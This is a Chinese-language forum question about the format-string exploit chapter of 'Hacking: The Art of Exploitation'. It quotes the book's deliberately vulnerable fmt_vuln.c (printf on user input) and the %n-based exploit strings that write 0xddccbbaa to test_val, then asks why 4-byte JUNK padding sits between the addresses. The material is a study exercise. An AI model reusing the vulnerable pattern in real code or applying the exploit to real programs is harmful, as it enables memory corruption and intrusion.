我一直在阅读“黑客:剥削的艺术第二版”。我遇到了一个对我来说解释不够清楚的部分。
在“写入任意地址”一节中,Jon Erickson 创建了一个易受攻击的小 c 程序(称为 fmt_vuln),它将格式参数(例如 %x)作为第一个参数传递给 printf。这样做将从堆栈帧的顶部开始 printf 读取。然后他利用这个漏洞写入任意地址 0x08049794。
下面的代码 ( fmt_vuln.c
) 是目标程序。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
使用此漏洞,我试图将值“0xDDCCBBAA”写入test_val
. 程序的输出显示它test_val
位于 0x08049794。
该漏洞利用如下所示:
./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n
这会将十六进制值 0xAA 写入地址 0x08049794。
4 次写入顺序地址,从 0x08049794 开始,每次添加 1 个字节应该可以实现这一点。第一次写入 0xAA,然后第二次写入 0xBB 到 0x08049795,第三次写入 0xCC 到 0x08049796,最后一次写入 0xDD 到 0x08049797。
这本书使用这样的漏洞利用:
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126
reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $
我的问题是:
为什么我需要地址之间的 4 字节垃圾数据?作者使用“JUNK”这个词是因为它是一个任意的 4 字节字符串,但它可以是任何 4 字节长的字符串。但他从未解释为什么需要 4 字节的 JUNK 数据。它只说“另一个 %x 格式参数需要另一个参数来将字节数增加到 187,即十进制的 0xBB”。